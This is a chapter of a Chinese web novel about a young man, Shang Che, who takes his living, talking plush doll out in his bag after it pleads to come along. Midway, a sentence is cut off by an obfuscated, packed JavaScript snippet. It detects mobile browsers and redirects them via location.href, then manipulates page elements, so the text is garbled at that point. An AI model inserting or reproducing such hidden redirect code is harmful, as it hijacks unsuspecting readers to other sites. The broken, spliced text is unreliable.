“嗯。”商澈敷衍地应和了一声,然后转身走到衣柜前,利落地换了身极其简单的牛仔衣,又取出一个黑色斜挎包,习惯性地将耳机、纸巾等零碎物品放进去。 却猛地察觉到一道不容忽视的“视线”。 他转过头,看向身后的摇摇椅——棉花娃娃安静又乖巧地端坐着,似乎是在观察他换衣服、拿东西、准备出门的一系列动作。 看起来和往常没什么不同,但商澈莫名觉得那对金色的眼睛里,似乎流露出一丝....专注的好奇,甚至还有一点...极淡的、难以捕捉的期待。 商澈动作几不可察地顿了一下,继续手上的动作。 他把钥匙丢进背包,最后检查了一下,然后拿起手机,点开陆泽铭发来的定位,估算着时间和路线,整个过程中,他能清晰地感觉到,棉花娃娃的注意力始终牢牢地粘在他身上。 “人,你在干嘛?” 棉花娃娃软糯的声音轻轻响起,在安静的房间里格外清晰。 “准备出门。”商澈简短地回应。 “出...门?”棉花娃娃似乎不理解这个词的意思,它明明看见人每天都从卧室的门进进出出好多次,为什么这次那么的“复杂”。 商澈有些无奈,解释道:“就是去外面,要过一段时间才会回来。” “去...外面?”棉花娃娃追问,语气里那点好奇更明显了。 商澈将挎包背到肩上,调整了一下,回答道:“对。” 棉花娃娃“哦”了一声,继续追问:“和人说的...上学一样吗?” 商澈:“......不一样。” 棉花娃娃似乎犹豫了一下,过了几秒,它才小声地、带着点试探地开口:“那人...是要去哪?” “会和上学...一样准时...回来吗?” “不一定,”商澈停顿了一下,忽然意识到自己说得有点儿多了,他扯了下嘴角,“我为什么要和一个棉花娃娃说这些。” “那..棉什么时候..可以见到人..”棉花娃娃用一种纯粹的、带着渴望的语气询问:“棉...可以...一起去吗?” “不可以。”商澈几乎是脱口而出的拒绝。 棉花娃娃不懂。 人说不能带它去学校,棉就在家里等人回来,但人明明今天不上学,为什么也要走。 它不解道:“为什么?” “外面很乱,人很多,不适合你去。”商澈找了个听起来很合理的解释。 棉花娃娃似乎预料到了这个回答,它没有立刻再请求,只是那金色的眼睛似乎黯淡了一点点,小声地“哦”了一声,用一种异常乖巧的语气说:“那棉在家...等人回来...” 它甚至努力调整了一下坐姿,让自己看起来更“乖”一些,仿佛在说:你看,我很听话,不会给你添麻烦的。 就是这副过分“懂事”的样子,反而让商澈心里那点坚决的拒绝,产生了一丝丝动摇。 这段时间棉花娃娃确实很乖,每天不是眼巴巴地看他去上学,就是眼巴巴地等他放学回家,连晚上安安静静地,商澈甚至觉得自己最近的睡眠质量也稳定了不少。 ...... 带一个普通的棉花娃娃出门并不难,现在带棉花娃娃出门、打卡似乎都成为了一种潮流,但带这个家伙出去的风险却极大,毕竟要是一不小心被别人发现它会动、会说话...... 商澈的内心却在不知不觉间挣扎了起来,他的目光再次落到摇摇椅上。 棉花娃娃依旧那样安静地坐着,只是脑袋上的呆毛“萎靡不振”地垂下,那双大眼睛盛满了失落和小心翼翼,带着股可怜巴巴的意味。 棉花娃娃:(O?O)。 商澈:“......”这副可怜样是做给谁看的。 他阖下眼,叹着气,不知道是不是在骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033537|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己莫名其妙的心软,语气硬邦邦的:“20厘米还是10厘米,选一个,太大的我带不出去。” 棉花娃娃头顶的呆毛瞬间支棱了起来,特别懂事道:“棉都可以!” “等着。”商澈丢下两个字转身出了卧室门,没过多久就一手一个棉花娃娃回来了。 他打开斜挎包,比划了一下,这两个尺寸都可以装下,然后在摇摇椅前蹲下,和棉花娃娃对视着。 “最近很乖,所以可以奖励你出去一次,但我接下来说的话,你必须好好遵守。” 棉花娃娃立刻用力地点头,呆毛一晃一晃,身体前倾,它伸出两只小圆手握住了商澈竖起的手指。 (☆?☆ ):“棉会遵守的!” 商澈任由它抱着自己的手指,语气严厉道:“第一,你必须全程待在这个包里,不可以出来,不可以乱动。” “嗯!”棉花娃娃应下。 “第二,绝对、绝对,不准发出任何声音,不管外面发生什么,听到什么,都不准说话,不准弄出任何动静。” “嗯!”棉花娃娃用力点了一下头。 “第三,”商澈看着它,语气一滞:“如果,我是说如果,有意外情况发生,比如包不小心打开了,你从里面掉出来,或者有人看到你,你都必须装成一个最普通、最正常的棉花娃娃,明白吗?” “正常?”棉花娃娃对这个词感到困惑。 “一动不动的,就像这两个现在的模样。”商澈晃了晃手里两个毫无生气的棉花娃娃。 “棉明白。”棉花娃娃软绵绵的手臂弯到胸前,用小圆手拍了两下,保证道:“棉会做到的!” 商澈深吸一口气,仿佛在做最后的心理建设:“如果没有做到,以后我就再也不会带你出去了。” 棉花娃娃的声音里带着压抑不住的雀跃:“棉记住了!” 商澈不再犹豫,他打开斜挎包的拉链,左手拿着10厘米的棉花娃娃,右手举着20厘米的棉花娃娃,问它:“选一个。” 话音刚落,右手上那个20厘米的棉花娃娃就对他俏皮地眨了一下眼:(??<) 。 ......还真是迫不及待。 商澈有些无语,却还是小心翼翼地将它塞进包里,甚至能感觉到棉花娃娃还调整了一下姿势,让自己待得更舒服些。 他重新背好包,感受了一下重量,很轻,几乎没什么存在感。 “从现在开始,保持安静。”他低下头,对着微微鼓起的挎包说了一句。 包里传来极其轻微的、布料摩擦的窸窣声,棉花娃娃闷闷的声音听着不太真切,却依旧欢愉:“棉知道啦~” 商澈穿过客厅,走到玄关换鞋,整个过程他的步伐比平时更快,心跳也莫名有些加速,像是在做什么隐秘却又大胆的事。 大门打开的瞬间,他深吸一口气,迈步走了出去,反手锁上了门。 “咔哒。” 门锁落下清脆的声响,商澈脚步停下,忽然对着身侧的挎包补充了一句:“...如果我主动和你说话的话,就代表你可以出声。” 挎包里传来一声被努力压抑着、却仍能听出雀跃的回应: “好~”